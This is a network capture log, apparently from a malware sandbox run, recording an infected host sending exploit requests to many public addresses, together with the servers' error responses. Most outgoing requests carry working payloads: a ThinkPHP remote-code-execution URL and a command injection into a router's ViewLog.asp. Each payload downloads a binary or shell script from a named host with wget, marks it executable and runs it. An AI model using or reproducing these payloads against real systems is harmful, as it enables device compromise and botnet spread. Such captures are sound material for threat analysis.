Dec 26, 2023 21:23:31.292084932 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 26 Dec 2023 20:23:31 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	60356	112.181.80.52	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:31.149629116 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	48548	112.197.180.36	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:31.186361074 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:31.579941034 CET	339	IN	HTTP/1.0 400 Bad Request Date: Wed, 27 Dec 2023 03:23:31 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	34438	85.72.44.205	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:31.355027914 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:35.451239109 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	51416	112.168.104.151	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:31.473295927 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:31.799161911 CET	491	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 26 Dec 2023 20:22:43 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	44142	112.158.92.81	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:31.590101004 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Tue, 26 Dec 2023 20:23:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	53472	85.122.223.111	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:32.375380039 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	59976	94.130.35.194	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:32.468877077 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	42362	94.23.34.88	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:32.954159021 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:33.196054935 CET	540	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:33 GMT Server: Apache Content-Length: 362 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 52 65 61 73 6f 6e 3a 20 59 6f 75 27 72 65 20 73 70 65 61 6b 69 6e 67 20 70 6c 61 69 6e 20 48 54 54 50 20 74 6f 20 61 6e 20 53 53 4c 2d 65 6e 61 62 6c 65 64 20 73 65 72 76 65 72 20 70 6f 72 74 2e 3c 62 72 20 2f 3e 0a 20 49 6e 73 74 65 61 64 20 75 73 65 20 74 68 65 20 48 54 54 50 53 20 73 63 68 65 6d 65 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 55 52 4c 2c 20 70 6c 65 61 73 65 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br />Reason: You're speaking plain HTTP to an SSL-enabled server port.<br /> Instead use the HTTPS scheme to access this URL, please.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	50602	85.158.57.210	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:32.957832098 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:33.197542906 CET	396	IN	HTTP/1.0 401 Authentication Required WWW-Authenticate: Basic realm="proxy" Connection: close Content-type: text/html; charset=us-ascii Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 31 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authentication Required</title></head><body><h2>401 Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	47538	62.29.26.122	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:32.995312929 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	47144	62.29.85.240	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:32.996951103 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	53858	31.132.1.155	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:33.196294069 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:33.430299044 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Tue, 26 Dec 2023 20:23:33 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3457 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	48696	31.136.89.195	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:33.202260017 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:33.979458094 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
